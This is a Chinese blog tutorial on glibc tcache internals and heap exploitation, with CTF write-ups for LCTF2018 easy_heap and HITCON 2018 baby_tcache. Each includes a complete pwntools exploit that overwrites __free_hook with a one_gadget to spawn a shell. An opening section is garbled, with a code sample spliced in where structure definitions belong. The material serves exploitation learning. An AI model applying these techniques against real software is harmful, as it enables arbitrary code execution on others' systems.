Tcache

libc2.26 之后的 Tcache 機(jī)制

1. Tcache 概述

? tcache是libc2.26之后引進(jìn)的一種新機(jī)制，類似于fastbin一樣的東西，每條鏈上最多可以有 7 個(gè) chunk，free的時(shí)候當(dāng)tcache滿了才放入fastbin，unsorted bin，malloc的時(shí)候優(yōu)先去tcache找。其相關(guān)結(jié)構(gòu)體如下

#include <stdlib.h>
#include <stdio.h>

int main(int argc , char* argv[])
{
    long* t[7];
    long *a=malloc(0x100);
    long *b=malloc(0x10);
    long *c=malloc(0x40);
    // make tcache bin full
    for(int i=0;i<7;i++)
        t[i]=malloc(0x100);
    for(int i=0;i<7;i++)
        free(t[i]);

    free(a);
    free(b);
    free(c);
    // a is put in an unsorted bin because the tcache bin of this size is full
    printf("%p\n",a[0]);
} } tcache_perthread_struct;

  1. tcache相關(guān)的就是上面這兩個(gè)結(jié)構(gòu)體，其中tcache_entry結(jié)構(gòu)體中的值是一個(gè)指向tcache_entry結(jié)構(gòu)體的指針，是一個(gè)單鏈表結(jié)構(gòu)。

  2. tcache_perthread_struct結(jié)構(gòu)體是用來管理tcache鏈表的。其中的count是一個(gè)字節(jié)數(shù)組（共64個(gè)字節(jié)，對(duì)應(yīng)64個(gè)tcache鏈表），其中每一個(gè)字節(jié)表示的是tcache每一個(gè)鏈表中有多少個(gè)元素。entries是一個(gè)指針數(shù)組（共64個(gè)元素，對(duì)應(yīng)64個(gè)tcache鏈表，因此 tcache bin中最大為0x400字節(jié)），每一個(gè)指針指向的是對(duì)應(yīng)tcache_entry結(jié)構(gòu)體的地址。

  3. 看了上面的描述，只知道tcache_entry是一個(gè)只有一個(gè)字段的結(jié)構(gòu)體，該鏈表與fastbin鏈表的異同點(diǎn)在于：

    • tcachebin和fastbin都是通過chunk的fd字段來作為鏈表的指針

    • tcachebin中的鏈表指針指向的下一個(gè)chunk的fd字段，fastbin中的鏈表指針指向的是下一個(gè)chunk的prev_size字段

  4. 在_int_free中，最開始就先檢查chunk的size是否落在了tcache的范圍內(nèi)，且對(duì)應(yīng)的tcache未滿，將其放入tcache中。

  5. 在_int_malloc中，

    • 如果從fastbin中取出了一個(gè)塊，那么會(huì)把剩余的塊放入tcache中直至填滿tcache（smallbin中也是一樣）

    • 如果進(jìn)入了unsortedbin，且chunk的size和當(dāng)前申請(qǐng)的大小精確匹配，那么在tcache未滿的情況下會(huì)將其放入到tcachebin中

從 Tcache 中獲取chunk 的代碼：

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  //根據(jù)索引找到tcache鏈表的頭指針
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  //將chunk取出
  tcache->entries[tc_idx] = e->next;
  //tcache計(jì)數(shù)器減一
  --(tcache->counts[tc_idx]);
  return (void *) e;

從 Tcache 中獲取 chunk 的情形：

  • 在調(diào)用malloc_hook之后，_int_malloc之前，如果tcache中有合適的chunk，那么就從tcache中取出：
  • 遍歷完unsorted bin后，若tcachebin中有對(duì)應(yīng)大小的chunk，從tcache中取出：
  • 遍歷unsorted bin時(shí)，大小不匹配的chunk會(huì)被放入對(duì)應(yīng)的bins，若達(dá)到tcache_unsorted_limit限制且之前已經(jīng)存入過chunk則在此時(shí)取出（默認(rèn)無限制）

2.Tcache 例子

? 以下面的程序?yàn)槔?

#include <stdlib.h>
#include <stdio.h>

int main(int argc , char* argv[])
{
    long* t[7];
    long *a=malloc(0x100);
    long *b=malloc(0x10);
    long *c=malloc(0x40);
    // make tcache bin full
    for(int i=0;i<7;i++)
        t[i]=malloc(0x100);
    for(int i=0;i<7;i++)
        free(t[i]);

    free(a);
    free(b);
    free(c);
    // a is put in an unsorted bin because the tcache bin of this size is full
    printf("%p\n",a[0]);
}
  • 可以看到在執(zhí)行完之后，只有當(dāng) tcache 中填充完7個(gè) cache 后，再釋放才會(huì)進(jìn)入其對(duì)應(yīng)的 normal bins，這點(diǎn)和之前版本的 libc 不同。
pwndbg> bins
tcachebins
0x20 [  1]: 0x555555756370 ?— 0x0
0x50 [  1]: 0x555555756390 ?— 0x0
0x110 [  7]: 0x555555756a40 —? 0x555555756930 —? 0x555555756820 —? 0x555555756710 —? 0x555555756600 ?— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555555756250 —? 0x7ffff7dcfca0 (main_arena+96) ?— 0x555555756250 /* 'PbuUUU' */
smallbins
empty
largebins
empty
pwndbg>

3. Tcache 利用

? Tcache的利用主要分為以下幾種：

  • tcache poisoning

    • 簡(jiǎn)單來說就是覆蓋 tcache entry 結(jié)構(gòu)體中的 next 域，不經(jīng)過任何偽造 chunk 即可分配到另外地址

  • tcache dup

    • 類似于 fastbin 的double free，就是多次釋放同一個(gè)tcache，形成環(huán)狀鏈表

  • tcache perthread corruption

    • 控制tcache_perthread_struct結(jié)構(gòu)體

  • tcache house of spirit

    • free 內(nèi)存后，使得棧上的一塊地址進(jìn)入 tcache 鏈表，這樣再次分配的時(shí)候就能把這塊地址分配出來

例題1： LCTF2018 PWN easy_heap

簡(jiǎn)單分析后，該題目是一個(gè)常規(guī)菜單題目，有malloc、free、puts操作，最多分配10個(gè)chunk，實(shí)際大小均為256(mallocd的是248但是可以復(fù)用后一個(gè)chunk的pre_size域)， qword_202050 處有一個(gè)數(shù)組存儲(chǔ)分配的 chunk 和用戶自定義的大小，除此之外保護(hù)全開：

nevv@ubuntu:~/Desktop$ checksec easy_heap
[*] '/home/nevv/Desktop/easy_heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

? 在malloc處存在 NULL 單字節(jié)溢出：

unsigned __int64 __fastcall sub_BEC(_BYTE *a1, int a2)
{
  unsigned int v3; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v3 = 0;
  if ( a2 )
  {
    while ( 1 )
    {
      read(0, &a1[v3], 1uLL);
      if ( a2 - 1 < v3 || !a1[v3] || a1[v3] == 10 )
        break;
      ++v3;
    }
    a1[v3] = 0;
    a1[a2] = 0;
  }
  else
  {
    *a1 = 0;
  }
  return __readfsqword(0x28u) ^ v4;
}

? 這里我發(fā)現(xiàn)網(wǎng)上的很多腳本都是一樣的，在解題思路中都沒有說明用于 overlapping chunk 的 pre_size 是怎么設(shè)置的，因?yàn)槲覀円窍胱屍渑c上一個(gè) chunk 發(fā)生 overlapping，必然要構(gòu)造 pre_size字段，直接構(gòu)造的話我們?cè)谧x取內(nèi)容的時(shí)候‘\0’會(huì)截?cái)喽叶褖K大小是0x100，因此需要另外想辦法構(gòu)造出 pre_size 字段，這也是解題的關(guān)鍵所在。這里我結(jié)合出題人的 思路 給出以下兩種辦法做參考：

  1. tcache在分配完其中的7個(gè)堆塊后如果再次分配，它會(huì)先從unsortedbin中把和要分配的堆塊大小相同的堆塊全部以單鏈表形式鏈入tcache的鏈表里然后再分配出來，如果unsortedbin中有三個(gè)及以上符合大小的堆塊，當(dāng)并入tcache時(shí)，你會(huì)發(fā)現(xiàn)中間的堆塊其fd->bk以及bk->fd仍然指向它自身，題目中恰好設(shè)置了堆塊為0x100對(duì)齊，所以分配出來的堆塊內(nèi)容如果什么都不輸入那么它的“\0”終止符不會(huì)影響fd指針，在將中間的堆塊重新malloc出來利用nullbyone漏洞修改下個(gè)堆塊的previnuse位為0，然后填滿tcache后free掉下個(gè)堆塊，那么他就會(huì)和前面的堆塊合并形成overlap-chunk。

  2. 通過 free 操作使得某個(gè)要用作 overlapping 的 chunk presize 有我們想要的值，比如填充滿 Tcache 后，再次釋放空間連續(xù)的三個(gè) chunk A B C，會(huì)進(jìn)入 unsorted_bin 并由合并操作，此時(shí)最后一個(gè)堆塊 chunk C 的pre_size 會(huì)遺留一個(gè) 0x200的值，可以用于后續(xù)的 overlapping。

  • 獲取libc

    下邊給出使用了第二種思路的exp，基本思想是一樣的 chunk A B C，A為 unsortbin， B為 Tcache 鏈表首部， C為 allocated 狀態(tài)， 分配 B 并單字節(jié)溢出 C 的 pre_inuse 位，free(C) 后觸發(fā) overlapping，再次 malloc，將 A 從合并后的 fake unsort bin 中分配出去，這樣 B 的 fd 和 bk 的值就變?yōu)榱?main_arena + 96，同時(shí) B 還存在于已經(jīng)分配出去的列表中。這樣就能獲取到 libc 的地址。

  • tcache dup

    然后我們?cè)俅?malloc 后，會(huì)再次把 chunk B 分配到程序自定義的記錄已分配的 chunk 的列表中，這樣就獲得了兩次free B 的機(jī)會(huì)，然后通過 malloc 兩次 chunk B，第一次分配后將其 fd 的位置改為 __free__hook 的 got 表地址，第二次分配的時(shí)候就獲得到了 __free__hook 處的空間，此時(shí)再進(jìn)行改寫，就是改的 __free__hook 的 got 表項(xiàng)，將其改為 one_gadget 即可。

exp:

from pwn import *

context.log_level = "debug"

p = process('./easy_heap')

def malloc(size,content):
    p.recvuntil("> ")
    p.sendline('1')
    p.recvuntil("> ")
    p.sendline(str(size))
    p.recvuntil("> ")
    p.sendline(content)


def free(index):
    p.recvuntil("> ")
    p.sendline("2")
    p.recvuntil("> ")
    p.sendline(str(index))


def puts(index):
    p.recvuntil("> ")
    p.sendline("3")
    p.recvuntil("> ")
    p.sendline(str(index))


for x in range(10):
    malloc(0x20,"")

for x in range(3,10):
    free(x)

for x in range(3):
    free(x)

for x in range(10):
    malloc(0x20,"")


for x in range(6):
    free(x)

free(8) # tcache
free(7) # unsort bin

malloc(248,'') 

free(6) # tcache
free(9) # overlapping


for x in range(8):
    malloc(0x20,'')


puts(0)

libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3EBC40
free_hook = libc_base + 0x3ed8e8
print hex(libc_base)
print hex(libc_base + 96 + 0x3EBC40)
one_shot = libc_base + 0x4f322

malloc(0x20,'')
free(5) # free to avoid full 

free(0)
free(9)
malloc(0x20,p64(free_hook))
malloc(0x20,'')
malloc(0x20,p64(one_shot))
free(5)
# gdb.attach(p)


# https://libc.blukat.me/
p.interactive()

例題2：HITCON 2018 PWN baby_tcache

這道題目和上一題整體差不多，但是只有新建和刪除兩個(gè)功能，同時(shí)使用一個(gè)全局變量保存申請(qǐng)的地址和每次申請(qǐng)空間的大小。 新建函數(shù)如下：

int new()
{
  _QWORD *v0; // rax
  signed int i; // [rsp+Ch] [rbp-14h]
  _BYTE *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 size; // [rsp+18h] [rbp-8h]

  for ( i = 0; ; ++i )
  {
    if ( i > 9 )
    {
      LODWORD(v0) = puts(":(");
      return (signed int)v0;
    }
    if ( !qword_202060[i] )
      break;
  }
  printf("Size:");
  size = get_input();
  if ( size > 0x2000 )
    exit(-2);
  v3 = malloc(size);
  if ( !v3 )
    exit(-1);
  printf("Data:");
  sub_B88((__int64)v3, size);
  v3[size] = 0;                  // 存在 null off by one 漏洞
  qword_202060[i] = v3;
  v0 = qword_2020C0;
  qword_2020C0[i] = size;
  return (signed int)v0;
}

這道題目和之前最大的不同之處是我們要考慮怎么把 libc 的地址 leak 出來，考慮以下思路:

  • 申請(qǐng)三個(gè)chunk A、B、C，AC是unsortbin，大小大于0x400，B 是一個(gè)tcache大小的chunk。
  • add B的時(shí)候溢出C的 pre_inuse 位，再次釋放C的時(shí)候觸發(fā)前向合并
  • 再次申請(qǐng)空間，使得之前B的位置fd和bk存儲(chǔ)的是到main_arena的一個(gè)偏移
  • 申請(qǐng)一個(gè)比B稍微大些的chunk，并把其FD覆蓋為 _IO_2_1_stdout_ 結(jié)構(gòu)體所在的位置，稍微大些是為了防止從tcache 中將B取出來使用，后續(xù)無法進(jìn)行 tcache dup和tcache poisoning

分配得到一個(gè)指向 _IO_2_1_stdout_ 的結(jié)構(gòu)體后，我們覆蓋掉IO_FILE結(jié)構(gòu)體_IO_write_base的低字節(jié),使其在下次puts時(shí)輸出我們修改后的_IO_write_base到_IO_write_ptr/_IO_write_end的數(shù)據(jù)

  • leak libc后，利用tcache dup，將chunk分配到malloc hook或free hook前，覆蓋其為one_gadget即可get shell
from pwn import *

context.log_level = 'debug'



def new(size,data):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('Size:')
    p.sendline(str(size))
    p.recvuntil('Data:')
    p.send(data)


def delete(index):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))


while True:

    try:

        p = process('./baby_tcache')

        new(0x500,'a')
        new(0x78,'a')
        new(0x4f0,'a')
        new(0x20,'a') # 防止和 top_chunk發(fā)生合并

        #unsorted bin
        delete(0)

        delete(1)
        new(0x78,'a')

        #overwrite the pre_chunk_in_use and pre_size
        #clean pre_size
        for i in range(6):
            delete(0)
            new(0x70+8-i,'a'*(0x70+8-i))
            '''
            利用如下代碼清理delete后填充的0xda數(shù)據(jù)，恢復(fù)出 pre_size 字段
            printf("Size:");
            size = get_input();
            if ( size > 0x2000 )
              exit(-2);
            v3 = malloc(size);
            if ( !v3 )
              exit(-1);
            printf("Data:");
            sub_B88((__int64)v3, size);
            v3[size] = 0;      
            '''
        
        delete(0)
        new(0x72,'a'*0x70 + '\x90\x05')

        #unsorted bin Merging forward
        delete(2)
        delete(0)

        #hijack fd -> _IO_2_1_stdout_
        new(0x500,'a')
        new(0x88,'\x60\xc7')

        #hijack _IO_write_base to leak libc
        new(0x78,'a')
        fake__IO_2_1_stdout_ = p64(0xfbad1800) + p64(0)*3 + "\x00"
        #gdb.attach(p)
        new(0x78,fake__IO_2_1_stdout_)
        libc_base = u64(p.recv(0x30)[8:16]) - 0x3ed8b0
        log.success('libc_base addr : 0x%x'%libc_base)
        free_hook = libc_base + 0x3ed8e8
        one_gadget = libc_base + 0x4f322
        log.success('free_hook addr : 0x%x'%free_hook)
        log.success('one_gadget addr : 0x%x'%one_gadget)

        #double free
        delete(1)
        delete(2)

        #hijack free_hook -> one_gadget
        new(0x88,p64(free_hook))
        new(0x88,'a')
        new(0x88,p64(one_gadget))

        #trigger one_gadget
        delete(0)


        p.interactive()

    except Exception as e:

        p.close()

文件結(jié)構(gòu)體更改緣由

  • 通過修改 stdout->_flags 使得程序流能夠流到 _IO_do_write (f, f->_IO_write_base , f->_IO_write_ptr - f->_IO_write_base) 這個(gè)函數(shù)

在ida中可以看到 _IO_2_1_stdout_ 結(jié)構(gòu)體的偏移為 0x3EC760，_IO_write_base 的偏移為 32：

.data:00000000003EC760 _IO_2_1_stdout_ db  84h                 ; DATA XREF: LOAD:0000000000008D18↑o
.data:00000000003EC760                                         ; .data:00000000003EC6E8↑o ...
.data:00000000003EC761                 db  20h
.data:00000000003EC762                 db 0ADh
.data:00000000003EC763                 db 0FBh
.data:00000000003EC764                 db    0
    
pwndbg> x /30gx stdout
0x7f27e520c760 <_IO_2_1_stdout_>:   0x00000000fbad1800  0x00007f27e520c7e3
0x7f27e520c770 <_IO_2_1_stdout_+16>:    0x00007f27e520c7e3  0x00007f27e520c7e3
0x7f27e520c780 <_IO_2_1_stdout_+32>:    0x00007f27e520c7e3(!!!_IO_write_base)   0x00007f27e520c7e3
0x7f27e520c790 <_IO_2_1_stdout_+48>:    0x00007f27e520c7e4  0x00007f27e520c7e3
0x7f27e520c7a0 <_IO_2_1_stdout_+64>:    0x00007f27e520c7e4  0x0000000000000000
0x7f27e520c7b0 <_IO_2_1_stdout_+80>:    0x0000000000000000  0x0000000000000000
0x7f27e520c7c0 <_IO_2_1_stdout_+96>:    0x0000000000000000  0x00007f27e520ba00
0x7f27e520c7d0 <_IO_2_1_stdout_+112>:   0x0000000000000001  0xffffffffffffff00
0x7f27e520c7e0 <_IO_2_1_stdout_+128>:   0x000000000a000000  0x00007f27e520d8c0
0x7f27e520c7f0 <_IO_2_1_stdout_+144>:   0xffffffffffffffff  0x0000000000000000
0x7f27e520c800 <_IO_2_1_stdout_+160>:   0x00007f27e520b8c0  0x0000000000000000
0x7f27e520c810 <_IO_2_1_stdout_+176>:   0x0000000000000000  0x0000000000000000
0x7f27e520c820 <_IO_2_1_stdout_+192>:   0x00000000ffffffff  0x0000000000000000
0x7f27e520c830 <_IO_2_1_stdout_+208>:   0x0000000000000000  0x00007f27e52082a0
0x7f27e520c840 <stderr>:    0x00007f27e520c680  0x00007f27e520c760

? 我們將 _IO_write_base 的最低字節(jié)改為 00，實(shí)際上就到了 3EC700 的位置，據(jù)此位置8個(gè)字節(jié)后，存儲(chǔ)的unk_3ED8B0 和 libc 基地址有固定的偏移 unk_3ED8B0，因此可以泄露出 libc。

.data:00000000003EC700                 db    0
.data:00000000003EC701                 db    0
.data:00000000003EC702                 db    0
.data:00000000003EC703                 db    0
.data:00000000003EC704                 db    0
.data:00000000003EC705                 db    0
.data:00000000003EC706                 db    0
.data:00000000003EC707                 db    0
.data:00000000003EC708                 dq offset unk_3ED8B0
.data:00000000003EC710                 db 0FFh
.data:00000000003EC711                 db 0FFh
.data:00000000003EC712                 db 0FFh
.data:00000000003EC713                 db 0FFh
.data:00000000003EC714                 db 0FFh
.data:00000000003EC715                 db 0FFh
.data:00000000003EC716                 db 0FFh

? 泄露出 libc 后，由于此時(shí)存儲(chǔ)chunk的數(shù)組中有兩個(gè)元素指向的是同一個(gè)空間，使用 tcache dup 和 tcache poisoning，執(zhí)行修改 free_hook 為 one_gadget，進(jìn)而 getshell

參考鏈接

最后編輯于 ：
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成，瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明：文章內(nèi)容（如有圖片或視頻亦包括在內(nèi)）由作者上傳并發(fā)布，文章內(nèi)容僅代表作者本人觀點(diǎn)，簡(jiǎn)書系信息發(fā)布平臺(tái)，僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • emmm這一篇既是開始，也是一個(gè)小小的總結(jié)。 Q1：為什么是ptmalloc呢？ A：內(nèi)存的分配釋放都很頻繁，pt...
    BJChangAn閱讀 1,772評(píng)論 0贊 1
  • 最近開始入坑linux下的堆漏洞成因與利用方式，首先從認(rèn)識(shí)堆開始，一步步為自己的學(xué)習(xí)做一些總結(jié)。 0x00 什么是...
    星辰照耀你我閱讀 1,251評(píng)論 0贊 4
  • 分析方法:全局變量位置布局: 哪些在.bss,哪些在.data,變量之間的關(guān)系哪些變量, 緩沖區(qū), 數(shù)組,存儲(chǔ)了哪...
    fIappy閱讀 1,112評(píng)論 0贊 0
  • 瓔珞出手救吉祥 乾隆故意送圖畫 乾隆六年二月初二，一大批新進(jìn)的準(zhǔn)宮女正在教導(dǎo)姑姑的引領(lǐng)下走進(jìn)了紫禁城，其中便...
    哥就拽閱讀 384評(píng)論 0贊 0
  • 小姨家前兩天添了一個(gè)小棉襖，整個(gè)親人群祝賀聲不斷，一片喜氣洋洋，小姨也提前辭職回來照顧表弟媳住月子，聽媽媽說表弟兩...
    語家閱讀 314評(píng)論 0贊 0

友情鏈接更多精彩內(nèi)容